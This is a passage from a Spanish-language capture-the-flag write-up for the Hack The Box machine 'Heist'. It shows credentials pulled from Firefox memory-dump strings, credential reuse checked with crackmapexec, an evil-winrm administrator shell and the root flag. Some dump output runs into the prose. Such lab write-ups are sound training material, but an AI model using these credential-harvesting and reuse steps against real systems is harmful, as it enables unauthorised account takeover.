pref("urlclassifier.disallow_completions", "goog-downloadwhite-digest256,base-track-digest256,mozstd-trackwhite-digest256,content-track-digest256,mozplugin-block-digest256,mozplugin2-block-digest256,block-flash-digest256,except-flash-digest256,allow-flashallow-digest256,except-flashallow-digest256,block-flashsubdoc-digest256,except-flashsubdoc-digest256,goog-passwordwhite-proto,ads-track-digest256,social-track-digest256,analytics-track-digest256,base-fingerprinting-track-digest256,content-fingerprinting-track-digest256,base-cryptomining-track-digest256,content-cryptomining-track-digest256,fanboyannoyance-ads-digest256,fanboysocial-ads-digest256,easylist-ads-digest256,easyprivacy-ads-digest256,adguard-ads-digest256,social-tracking-protection-digest256,social-tracking-protection-facebook-digest256,social-tracking-protection-linkedin-digest256,social-tracking-protection-twitter-digest256");
pref("browser.safebrowsing.provider.google4.lists", "goog-badbinurl-proto,goog-downloadwhite-proto,goog-phish-proto,googpub-phish-proto,goog-malware-proto,goog-unwanted-proto,goog-harmful-proto,goog-passwordwhite-proto");
pref("services.sync.engine.passwords", true);
pref("services.sync.engine.passwords.validation.interval", 86400); // 24 hours in seconds
pref("services.sync.engine.passwords.validation.percentageChance", 10);
pref("services.sync.engine.passwords.validation.maxRecords", 1000);
content passwordmgr toolkit/content/passwordmgr/
locale passwordmgr en-US en-US/locale/en-US/passwordmgr/
EnterLoginForRealm3=%2$S is requesting your username and password. The site says:
EnterLoginForProxy3=The proxy %2$S is requesting a username and password. The site says:
EnterUserPasswordFor2=%1$S is requesting your username and password.
EnterUserPasswordForCrossOrigin2=%1$S is requesting your username and password. WARNING: Your password will not be sent to the website you are currently visiting!
EnterPasswordFor=Enter password for %1$S on %2$S
input[type=password] > .anonymous-div,
input[type=password] > .preview-div {
* In password fields, any character should be put same direction. Otherwise,Si analizamos detalladamente el resultado de este filtrado para la salida del comando "strings", podremos ver que hay unas credenciales:
MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=Las siguiente credenciales:
Usuario: admin@support.htb
Password: 4dD!5}x/re8]FBuZEstos datos, vienen de solicitudes que ha realizado el usuario que tenia abierto el Firefox
3.2 Reutilización de credenciales
3.2 Reutilización de credencialesVamos a intentar logearnos con "evil-winrm" con la contraseña obtenida "4dD!5}x/re8]FBuZ" al usuario "Administrator" para probar si estamos ante un caso de reutilización de credenciales, pero antes vamos a verificar las credenciales con crackmapexec
crackmapexec winrm 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'❯ crackmapexec winrm 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
SMB 10.10.10.149 5985 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 (name:SUPPORTDESK) (domain:SupportDesk)
HTTP 10.10.10.149 5985 SUPPORTDESK [*] http://10.10.10.149:5985/wsman
WINRM 10.10.10.149 5985 SUPPORTDESK [+] SupportDesk\Administrator:4dD!5}x/re8]FBuZ (Pwn3d!)Usuario: Administrator
Contraseña: 4dD!5}x/re8]FBuZPodemos ver que las credenciales son correctas, ahora vamos a logearnos con evil-winrm
❯ evil-winrm -i 10.10.10.149 -u 'Administrator' -p '4dD!5}x/re8]FBuZ'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 3.3 Obtención de la flag root
3.3 Obtención de la flag rootLa flag de root, se encuentra dentro del directorio "C:\Users\Administrator\Desktop\root.txt":
*Evil-WinRM* PS C:\Users\Administrator\Documents> type "C:\Users\Administrator\Desktop\root.txt"
316b1b88ab7b95b633b1e35a0115c88d
*Evil-WinRM* PS C:\Users\Administrator\Documents> Con esto, concluimos la maquina "Heist" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización